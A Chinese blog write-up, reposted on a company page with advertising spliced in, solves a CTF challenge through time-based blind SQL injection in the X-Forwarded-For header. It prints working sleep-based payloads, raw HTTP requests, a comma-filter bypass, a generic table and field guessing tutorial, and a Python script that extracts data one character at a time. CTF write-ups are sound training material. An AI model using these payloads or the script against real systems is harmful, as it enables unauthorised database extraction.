首先我承認(rèn)我看了別人怎么做的
因?yàn)槲也]有什么經(jīng)驗(yàn)雖然知道回顯是由X-Forwarded-For 參數(shù)導(dǎo)致的 但一直無法利用 所以看了demo
因?yàn)樯婕暗揭獙懩_本記錄注入過程 所以特此記錄
我看了2個(gè)demo選擇了最直接的一個(gè)也就是使用awvs掃描 然后再python掃 因?yàn)槲矣X得我并沒有手工找注入點(diǎn)的本事 先學(xué)學(xué)利用工具
雖然別人寫了用awvs 但是開始不管怎么掃描都是掃描不出來 后來。。一個(gè)簡(jiǎn)單的辦法原來是這樣 附圖:
目前累計(jì)服務(wù)客戶上千家,積累了豐富的產(chǎn)品開發(fā)及服務(wù)經(jīng)驗(yàn)。以網(wǎng)站設(shè)計(jì)水平和技術(shù)實(shí)力,樹立企業(yè)形象,為客戶提供成都網(wǎng)站建設(shè)、成都網(wǎng)站設(shè)計(jì)、網(wǎng)站策劃、網(wǎng)頁設(shè)計(jì)、網(wǎng)絡(luò)營(yíng)銷、VI設(shè)計(jì)、網(wǎng)站改版、漏洞修補(bǔ)等服務(wù)。成都創(chuàng)新互聯(lián)始終以務(wù)實(shí)、誠(chéng)信為根本,不斷創(chuàng)新和提高建站品質(zhì),通過對(duì)領(lǐng)先技術(shù)的掌握、對(duì)創(chuàng)意設(shè)計(jì)的研究、對(duì)客戶形象的視覺傳遞、對(duì)應(yīng)用系統(tǒng)的結(jié)合,為客戶提供更好的一站式互聯(lián)網(wǎng)解決方案,攜手廣大客戶,共同發(fā)展進(jìn)步。

好簡(jiǎn)單 然后發(fā)現(xiàn)了果然是可以注入的 好像是基于的時(shí)間延遲 可惜沒系統(tǒng)學(xué)習(xí)不懂 后期補(bǔ)學(xué)習(xí)內(nèi)容
給的內(nèi)容是:
Tests performed:
(select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/ => 6.053 s
(select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ => 0.062 s
(select(0)from(select(sleep(3)))v)/*'+(select(0)from(select(sleep(3)))v)+'"+(select(0)from(select(sleep(3)))v)+"*/ => 3.042 s
(select(0)from(select(sleep(9)))v)/*'+(select(0)from(select(sleep(9)))v)+'"+(select(0)from(select(sleep(9)))v)+"*/ => 9.033 s
(select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ => 0.047 s
(select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ => 0.047 s
(select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ => 0.046 s
(select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/ => 6.052 s
(select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ => 0.063 s
Original value: 1
然后使用 http editor 測(cè)試
簡(jiǎn)化的get數(shù)據(jù)為
GET /web/wonderkun/ HTTP/1.1
X-Forwarded-For: 1'+(select 1 from(select(sleep(5)))v)+'
Referer: http://ctf5.shiyanbar.com/web/wonderkun/index.php
Host: ctf5.shiyanbar.com
這樣就是有效的
反復(fù)改變應(yīng)該在select(sleep(5)) 修改能辦到
因?yàn)椴恍⌒目吹絛emo 用了case 語句 所以在測(cè)試機(jī)上 使用這樣的語句測(cè)試了下:
select case when (select length(test) from aaa) then sleep(2) else sleep(0) end
是有效的。。
替換掉get數(shù)據(jù)依然有效果
然后想了下 實(shí)驗(yàn)吧的測(cè)試 基本上表字段都是 flag 于是我試一試看行不行 好像可以
get請(qǐng)求為:
GET /web/wonderkun/ HTTP/1.1
X-Forwarded-For: 1'+(select 1 from(select case when (select length(flag) from flag)>10 then sleep(2) else sleep(0) end)v)+'
Referer: http://ctf5.shiyanbar.com/web/wonderkun/index.php
Host: ctf5.shiyanbar.com
然后就是開始判斷他的值了 不過貌似需要用循環(huán)函數(shù)去猜解 雖然他給了demo但是還是自己弄一弄
首先我知道了表 字段 就只需要猜字段數(shù)據(jù)長(zhǎng)度 和 字段的每一個(gè)字母了
首先百度如何猜字段數(shù)據(jù)長(zhǎng)度內(nèi)容如下:
1.猜解表名:
http://xxx.com/test.asp?id=123 and (select count(*) from admin)>=0//猜解是否有表admin
2.猜解字段名:
http://xxx.com/test.asp?id=123 and (select count(adminname) from admin)>=0//admin表中是否有字段adminname
3.猜解字段長(zhǎng)度:
//從admin表中選取第一條記錄,來獲取這條記錄的adminname字段長(zhǎng)度
http://xxx.com/test.asp?id=123 and (select top 1 len(adminname) from admin)>=0
http://xxx.com/test.asp?id=123 and (select top 1 len(adminname) from admin)=7//字段adminname長(zhǎng)度為7
4.猜解字段值:
//從admin表中選取第一條記錄,逐個(gè)猜解字段adminname的值,直到7個(gè)
http://xxx.com/test.asp?id=123 and (select top 1 asc(mid(adminname,1,1)) from admin)=97
http://xxx.com/test.asp?id=123 and (select top 1 asc(mid(adminname,2,1)) from admin)=78
http://xxx.com/test.asp?id=123 and (select top 1 asc(mid(adminname,3,1)) from admin)=96
..........
http://xxx.com/test.asp?id=123 and (select top 1 asc(mid(adminname,7,1)) from admin)=102
首先猜一下字段的長(zhǎng)度
字段長(zhǎng)度猜解 應(yīng)手動(dòng)很快
反復(fù)大于小于 求得應(yīng)該是32個(gè)字符(上邊用的len 好像不對(duì)應(yīng)該是數(shù)據(jù)庫不一樣 我這里用的length)
GET /web/wonderkun/ HTTP/1.1
X-Forwarded-For: 1'+(select 1 from(select case when ((select length(flag) from flag) = 32) then sleep(1) else sleep(0) end)v)+'
Referer: http://ctf5.shiyanbar.com/web/wonderkun/index.php
Host: ctf5.shiyanbar.com
這里說下我用的工具 還是用的awvs的 http editor
然后繼續(xù)在測(cè)試機(jī)上寫驗(yàn)證字符串的sql 不過我先創(chuàng)建張模擬一樣的表試試。
剛剛發(fā)現(xiàn)if也應(yīng)該可以做不用用case if 看著更明朗
select if((select length(flag) from flag) = 32,sleep(1),sleep(0));
可惜我替換成這樣的 sleep失效 哎繼續(xù)看怎么判斷 我現(xiàn)在唯一應(yīng)該能用的可以使用
select substring(flag,2,1) from flag 應(yīng)該這樣就可以了應(yīng)該要使用substring函數(shù) 這個(gè)和mid應(yīng)該是一樣的。
試一下 按照慣例 應(yīng)該值應(yīng)該是 flag{} 這樣的。。試一下
GET /web/wonderkun/ HTTP/1.1
X-Forwarded-For: 1'+(select 1 from(select case when ((select substring(flag,1,1) from flag) = 'f') then sleep(1) else sleep(0) end)v)+'
Referer: http://ctf5.shiyanbar.com/web/wonderkun/index.php
Host: ctf5.shiyanbar.com
但是好像時(shí)間不是1S 猜測(cè)難道失敗了? 回想了下剛剛if 也是沒效果
if的回顯:
your ip is :1'+(select 1 from(select if((select length(flag) from flag) = 32
貌似從,開始被截?cái)嗔恕?/p>
看來不解決逗號(hào)不能前進(jìn)了。。。
繼續(xù)搜資料
http://www.91ri.org/12168.html
不得不佩服資源的強(qiáng)大
修改后的請(qǐng)求:
GET /web/wonderkun/ HTTP/1.1
X-Forwarded-For: 1'+(select 1 from(select case when ((select substring(flag from 1 for 1) from flag) = 'f') then sleep(1) else sleep(0) end)v)+'
Referer: http://ctf5.shiyanbar.com/web/wonderkun/index.php
Host: ctf5.shiyanbar.com
然后試了一下貌似不行 我把后邊sleep(0)改為了5 出效果了
開始寫腳本
(首先得需要一個(gè)python實(shí)例手冊(cè))
先搜索request 然后看看get 請(qǐng)求怎么寫的 和加入header信息
擼一擼
因?yàn)榭赡苄枰貜?fù)調(diào)用先封裝成一個(gè)方法
筆者不知道 {} 怎么添加所以也百度了一下
再然后應(yīng)該是怎么判斷時(shí)間 只需要time取執(zhí)行前 和執(zhí)行后就應(yīng)該可以了 然后整一個(gè)循環(huán) 應(yīng)該就能搞定
如下代碼含注釋 即可完成:
# -*- coding: utf-8 -*-
import requests
import time
#定義個(gè)方法返回時(shí)間時(shí)間差 var定義為猜解字符 num為猜解的多少位
def test(var,num):
#url鏈接
url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
#頭信息 X-Forwarded-For 插入變量
headers = {}
#X-Forwarded-For 指定 如果是該字符 進(jìn)行sleep 5秒
headers['X-Forwarded-For']="""1'+(select 1 from(select case when ((select substring(flag from """+str(num)+""" for 1) from flag) = '"""+str(var)+"""') then sleep(5) else sleep(0) end)v)+'"""
headers['Referer']='http://ctf5.shiyanbar.com/web/wonderkun/index.php'
headers['Host']='ctf5.shiyanbar.com'
#執(zhí)行前時(shí)間獲取
time_start=time.time();
r = requests.get(url,headers=headers);
#執(zhí)行后時(shí)間獲取
time_stop=time.time();
#返回時(shí)間差
return int(time_stop)-int(time_start);
#定義testChar 為一個(gè)字符串字典
testChar='abcdefghijklmnopqrstuvwxyz0123456789@_.{}-'
#手工檢測(cè)出32位進(jìn)行循環(huán)猜解 先進(jìn)入一個(gè)循環(huán)破解的多少個(gè)字符串
for x in xrange(1,33):
#循環(huán)單個(gè)破解的字
for j in testChar:
#判斷時(shí)間差是否大于等于5
if test(j,x) >= 5:
#破解后字符
print str(x)+':'+str(j)
值得注意xrange 1,33 我開始寫錯(cuò)了 寫成32 結(jié)果只出來31個(gè)值。。。 還有就是此題沒說 ctf{} 擴(kuò)起來 坑啊!!
題:
http://ctf5.shiyanbar.com/web/wonderkun/index.php
本文名稱:記錄實(shí)驗(yàn)吧CTF庫whoareyou?過程
URL分享:http://www.chinadenli.net/article2/iigeoc.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供建站公司、品牌網(wǎng)站制作、網(wǎng)站建設(shè)、網(wǎng)站排名、Google、響應(yīng)式網(wǎng)站
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)